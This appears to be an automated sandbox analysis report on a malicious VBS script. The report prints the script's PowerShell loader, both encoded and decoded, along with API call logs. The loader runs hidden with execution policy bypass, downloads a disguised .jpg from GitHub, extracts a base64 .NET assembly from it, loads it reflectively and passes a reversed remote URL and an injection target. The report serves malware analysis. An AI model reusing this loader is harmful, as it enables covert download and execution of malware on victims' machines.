popup
Summary | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

mandayyyyxxxMPDW-constraints.vbs

Generic Malware Antivirus Hide_URL
  1. Resubmit sample
Category Machine Started Completed
FILE s1_win7_x6403_us Oct. 21, 2024, 2:27 p.m. Oct. 21, 2024, 2:29 p.m.
Size 190.6KB
Type Little-endian UTF-16 Unicode text, with CRLF line terminators
MD5 13c59b5d505a28be9383f9be8cf48cb0
SHA256 12d48a12fc95283d351f1d3cf45418f3d99b4e1a7dadde533ac8df5c64089aca
CRC32 CA3CB9A3
ssdeep 3072:jy2a1qVAM3f9pc3Vs1Yrgt5p+Gw2MKjG5ia4tpNvlBsTN:jyjEf9els1YWttjLO
Yara None matched

  • wscript.exe "C:\Windows\System32\wscript.exe" C:\Users\test22\AppData\Local\Temp\mandayyyyxxxMPDW-constraints.vbs

    184

    • powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCc5R3ppbWEnKydnZVVybCA9IGZ3aWh0dHBzOi8vcmEnKyd3LmdpdGh1YnVzZXJjb250ZW50LmNvbS9DcnlwdGVyc0EnKyduZFRvb2xzT2ZpY2lhbC9aSVAvcmVmcy9oZWFkcy9tYWluL0RldGFoTm90ZV9WLmpwZyBmd2k7OScrJ0d6d2ViQ2xpZW50ID0gTmV3LU9iamUnKydjdCBTeXN0ZW0uTmUnKyd0LldlYkNsaWVudDs5R3ppbWFnZUJ5dGVzID0gOUd6d2ViQ2xpZW4nKyd0LkRvdycrJ25sb2FkRGF0YSg5R3ppbWFnZVVybCk7OUd6aW1hZ2VUZXh0ID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOC5HZXRTdHJpbicrJ2coOUd6aW1hZ2VCeXRlcyk7OUd6c3RhcnRGbGFnID0gZndpPDxCQVNFNjRfU1RBUlQ+PmZ3aTs5R3plbmRGbGFnID0gZndpPDxCQVNFNjRfRU5EPj5md2k7OUd6c3RhcnRJbmRleCcrJyA9IDlHemltYWdlVGV4dC5JbmRleE9mKDlHenN0YXJ0RmxhZyk7OUd6ZW5kSW5kZXggPSA5R3ppbWFnZVRleHQuSW5kZXhPZig5R3plbmQnKydGbGFnKTs5R3pzdGFydCcrJ0luJysnZGV4IC1nZSAwIC1hbmQgOUd6ZW5kSScrJ25kZXggLWd0IDlHenN0YXJ0SW5kZXg7OUd6c3RhcnRJbmRleCArPSA5JysnR3pzdGFydEZsYWcuTGVuZ3RoOzlHemJhc2U2NExlbmd0aCA9IDlHemVuZEluZGV4IC0gOUd6c3RhcnRJbmRleDs5R3piYXNlNjRDb21tYW5kID0gOUd6aW1hZ2VUZXh0LlN1YnN0cmluZyg5R3pzdGFydEluZGV4LCA5R3piYXNlNjQnKydMZW5ndGgpOzlHemNvbW1hbmRCeXRlcyA9IFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoOUd6YmFzZTY0Q29tbWFuZCk7OUd6bG9hZGVkQXNzZW1ibHkgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKDlHemNvJysnbW1hbmRCeXRlcyk7OUd6dmFpTWV0aG9kID0gW2RubGliLklPLkhvbWVdLkdldE1ldCcrJ2hvZChmd2lWQUlmd2kpJysnOzlHenZhaU1ldGhvZC5JbnZva2UoOUd6bnVsbCwgQChmd2l0eHQuNDQ0NDZlc2FiYmJiYmJld21hZGFtLzQzMS44NzEuNjQuODkxLy86cHR0aGZ3aSwgZicrJ3dpZGVzYXRpdmFkb2Z3aSwgZncnKydpZGVzYXRpdmFkb2Z3aSwgZndpZGVzYXRpdmFkb2Z3aSwgZndpQWRkSW5Qcm9jZXNzMzJmd2ksIGZ3aWRlc2F0aXZhZG9md2ksIGZ3aWRlc2F0aXZhZG9md2kpKTsnKS5yRVBMQWNlKChbQ0hBcl0xMDIrW0NIQXJdMTE5K1tDSEFyXTEwNSksW1NUUmlOZ11bQ0hBcl0zOSkuckVQTEFjZSgnOUd6JyxbU1RSaU5nXVtDSEFyXTM2KSB8LigoR3YgJyptZHIqJykubkFtZVszLDExLDJdLWpvSW4nJyk=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD

      2084

      • powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('9Gzima'+'geUrl = fwihttps://ra'+'w.githubusercontent.com/CryptersA'+'ndToolsOficial/ZIP/refs/heads/main/DetahNote_V.jpg fwi;9'+'GzwebClient = New-Obje'+'ct System.Ne'+'t.WebClient;9GzimageBytes = 9GzwebClien'+'t.Dow'+'nloadData(9GzimageUrl);9GzimageText = [System.Text.Encoding]::UTF8.GetStrin'+'g(9GzimageBytes);9GzstartFlag = fwi<<BASE64_START>>fwi;9GzendFlag = fwi<<BASE64_END>>fwi;9GzstartIndex'+' = 9GzimageText.IndexOf(9GzstartFlag);9GzendIndex = 9GzimageText.IndexOf(9Gzend'+'Flag);9Gzstart'+'In'+'dex -ge 0 -and 9GzendI'+'ndex -gt 9GzstartIndex;9GzstartIndex += 9'+'GzstartFlag.Length;9Gzbase64Length = 9GzendIndex - 9GzstartIndex;9Gzbase64Command = 9GzimageText.Substring(9GzstartIndex, 9Gzbase64'+'Length);9GzcommandBytes = [System.Convert]::FromBase64String(9Gzbase64Command);9GzloadedAssembly = [System.Reflection.Assembly]::Load(9Gzco'+'mmandBytes);9GzvaiMethod = [dnlib.IO.Home].GetMet'+'hod(fwiVAIfwi)'+';9GzvaiMethod.Invoke(9Gznull, @(fwitxt.44446esabbbbbbewmadam/431.871.64.891//:ptthfwi, f'+'widesativadofwi, fw'+'idesativadofwi, fwidesativadofwi, fwiAddInProcess32fwi, fwidesativadofwi, fwidesativadofwi));').rEPLAce(([CHAr]102+[CHAr]119+[CHAr]105),[STRiNg][CHAr]39).rEPLAce('9Gz',[STRiNg][CHAr]36) |.((Gv '*mdr*').nAme[3,11,2]-joIn'')"

        2208

Name Response Post-Analysis Lookup
raw.githubusercontent.com 185.199.111.133
IP Address Status Action
164.124.101.2 Active Moloch

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

Time & API Arguments Status Return Repeated

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameA

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameA

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0
Time & API Arguments Status Return Repeated

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0
Time & API Arguments Status Return Repeated

WriteConsoleW

 buffer: Exception calling "DownloadData" with "1" argument(s): "The remote name could n
console_handle: 0x00000023
1 1 0

WriteConsoleW

 buffer: ot be resolved: 'raw.githubusercontent.com'"
console_handle: 0x0000002f
1 1 0

WriteConsoleW

 buffer: At line:1 char:192
console_handle: 0x0000003b
1 1 0

WriteConsoleW

 buffer: + $imageUrl = 'https://raw.githubusercontent.com/CryptersAndToolsOficial/ZIP/re
console_handle: 0x00000047
1 1 0

WriteConsoleW

 buffer: fs/heads/main/DetahNote_V.jpg ';$webClient = New-Object System.Net.WebClient;$i
console_handle: 0x00000053
1 1 0

WriteConsoleW

 buffer: mageBytes = $webClient.DownloadData <<<< ($imageUrl);$imageText = [System.Text.
console_handle: 0x0000005f
1 1 0

WriteConsoleW

 buffer: Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag
console_handle: 0x0000006b
1 1 0

WriteConsoleW

 buffer: = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $i
console_handle: 0x00000077
1 1 0

WriteConsoleW

 buffer: mageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$st
console_handle: 0x00000083
1 1 0

WriteConsoleW

 buffer: artIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Co
console_handle: 0x0000008f
1 1 0

WriteConsoleW

 buffer: mmand = $imageText.Substring($startIndex, $base64Length);$commandBytes = [Syste
console_handle: 0x0000009b
1 1 0

WriteConsoleW

 buffer: m.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflecti
console_handle: 0x000000a7
1 1 0

WriteConsoleW

 buffer: on.Assembly]::Load($commandBytes);$vaiMethod = [dnlib.IO.Home].GetMethod('VAI')
console_handle: 0x000000b3
1 1 0

WriteConsoleW

 buffer: ;$vaiMethod.Invoke($null, @('txt.44446esabbbbbbewmadam/431.871.64.891//:ptth',
console_handle: 0x000000bf
1 1 0

WriteConsoleW

 buffer: 'desativado', 'desativado', 'desativado', 'AddInProcess32', 'desativado', 'desa
console_handle: 0x000000cb
1 1 0

WriteConsoleW

 buffer: tivado'));
console_handle: 0x000000d7
1 1 0

WriteConsoleW

 buffer: + CategoryInfo : NotSpecified: (:) [], MethodInvocationException
console_handle: 0x000000e3
1 1 0

WriteConsoleW

 buffer: + FullyQualifiedErrorId : DotNetMethodException
console_handle: 0x000000ef
1 1 0

WriteConsoleW

 buffer: Exception calling "GetString" with "1" argument(s): "Array cannot be null.
console_handle: 0x0000010f
1 1 0

WriteConsoleW

 buffer: Parameter name: bytes"
console_handle: 0x0000011b
1 1 0

WriteConsoleW

 buffer: At line:1 char:255
console_handle: 0x00000127
1 1 0

WriteConsoleW

 buffer: + $imageUrl = 'https://raw.githubusercontent.com/CryptersAndToolsOficial/ZIP/re
console_handle: 0x00000133
1 1 0

WriteConsoleW

 buffer: fs/heads/main/DetahNote_V.jpg ';$webClient = New-Object System.Net.WebClient;$i
console_handle: 0x0000013f
1 1 0

WriteConsoleW

 buffer: mageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encodi
console_handle: 0x0000014b
1 1 0

WriteConsoleW

 buffer: ng]::UTF8.GetString <<<< ($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag
console_handle: 0x00000157
1 1 0

WriteConsoleW

 buffer: = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $i
console_handle: 0x00000163
1 1 0

WriteConsoleW

 buffer: mageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$st
console_handle: 0x0000016f
1 1 0

WriteConsoleW

 buffer: artIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Co
console_handle: 0x0000017b
1 1 0

WriteConsoleW

 buffer: mmand = $imageText.Substring($startIndex, $base64Length);$commandBytes = [Syste
console_handle: 0x00000187
1 1 0

WriteConsoleW

 buffer: m.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflecti
console_handle: 0x00000193
1 1 0

WriteConsoleW

 buffer: on.Assembly]::Load($commandBytes);$vaiMethod = [dnlib.IO.Home].GetMethod('VAI')
console_handle: 0x0000019f
1 1 0

WriteConsoleW

 buffer: ;$vaiMethod.Invoke($null, @('txt.44446esabbbbbbewmadam/431.871.64.891//:ptth',
console_handle: 0x000001ab
1 1 0

WriteConsoleW

 buffer: 'desativado', 'desativado', 'desativado', 'AddInProcess32', 'desativado', 'desa
console_handle: 0x000001b7
1 1 0

WriteConsoleW

 buffer: tivado'));
console_handle: 0x000001c3
1 1 0

WriteConsoleW

 buffer: + CategoryInfo : NotSpecified: (:) [], MethodInvocationException
console_handle: 0x000001cf
1 1 0

WriteConsoleW

 buffer: + FullyQualifiedErrorId : DotNetMethodException
console_handle: 0x000001db
1 1 0

WriteConsoleW

 buffer: You cannot call a method on a null-valued expression.
console_handle: 0x000001fb
1 1 0

WriteConsoleW

 buffer: At line:1 char:361
console_handle: 0x00000207
1 1 0

WriteConsoleW

 buffer: + $imageUrl = 'https://raw.githubusercontent.com/CryptersAndToolsOficial/ZIP/re
console_handle: 0x00000213
1 1 0

WriteConsoleW

 buffer: fs/heads/main/DetahNote_V.jpg ';$webClient = New-Object System.Net.WebClient;$i
console_handle: 0x0000021f
1 1 0

WriteConsoleW

 buffer: mageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encodi
console_handle: 0x0000022b
1 1 0

WriteConsoleW

 buffer: ng]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<
console_handle: 0x00000237
1 1 0

WriteConsoleW

 buffer: BASE64_END>>';$startIndex = $imageText.IndexOf <<<< ($startFlag);$endIndex = $i
console_handle: 0x00000243
1 1 0

WriteConsoleW

 buffer: mageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$st
console_handle: 0x0000024f
1 1 0

WriteConsoleW

 buffer: artIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Co
console_handle: 0x0000025b
1 1 0

WriteConsoleW

 buffer: mmand = $imageText.Substring($startIndex, $base64Length);$commandBytes = [Syste
console_handle: 0x00000267
1 1 0

WriteConsoleW

 buffer: m.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflecti
console_handle: 0x00000273
1 1 0

WriteConsoleW

 buffer: on.Assembly]::Load($commandBytes);$vaiMethod = [dnlib.IO.Home].GetMethod('VAI')
console_handle: 0x0000027f
1 1 0

WriteConsoleW

 buffer: ;$vaiMethod.Invoke($null, @('txt.44446esabbbbbbewmadam/431.871.64.891//:ptth',
console_handle: 0x0000028b
1 1 0

WriteConsoleW

 buffer: 'desativado', 'desativado', 'desativado', 'AddInProcess32', 'desativado', 'desa
console_handle: 0x00000297
1 1 0
Time & API Arguments Status Return Repeated

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004417a0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004413a0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004413a0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004413a0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00441c20
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00441c20
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00441c20
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00441c20
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00441c20
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00441c20
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004413a0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004413a0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004413a0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004414e0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004414e0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004414e0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00441ce0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004414e0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004414e0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004414e0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004414e0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004414e0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004414e0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004414e0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00441560
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00441560
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00441560
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00441560
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00441560
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00441560
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00441560
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00441560
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00441560
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00441560
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00441560
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00441560
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00441560
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00441560
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004418a0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004418a0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005313d0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00531990
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00531990
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00531990
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00531110
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00531110
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00531110
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00531110
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00531110
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00531110
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0
Time & API Arguments Status Return Repeated

GlobalMemoryStatusEx

 1 1 0
Time & API Arguments Status Return Repeated

NtAllocateVirtualMemory

 process_identifier: 2084
region_size: 1114112
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x027a0000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2084
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02870000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2084
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x72fd1000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2084
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0246a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2084
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 8192
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x72fd2000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2084
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02462000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2084
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02472000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2084
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02871000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2084
region_size: 8192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02872000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2084
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0249a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2084
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02473000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2084
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02474000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2084
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x024eb000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2084
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x024e7000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2084
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0246b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2084
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02492000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2084
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x024e5000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2084
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02475000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2084
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0249c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2084
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026d0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2084
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02476000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2084
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x024ec000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2084
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02493000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2084
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02494000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2084
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02495000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2084
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02496000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2084
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02497000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2084
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02498000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2084
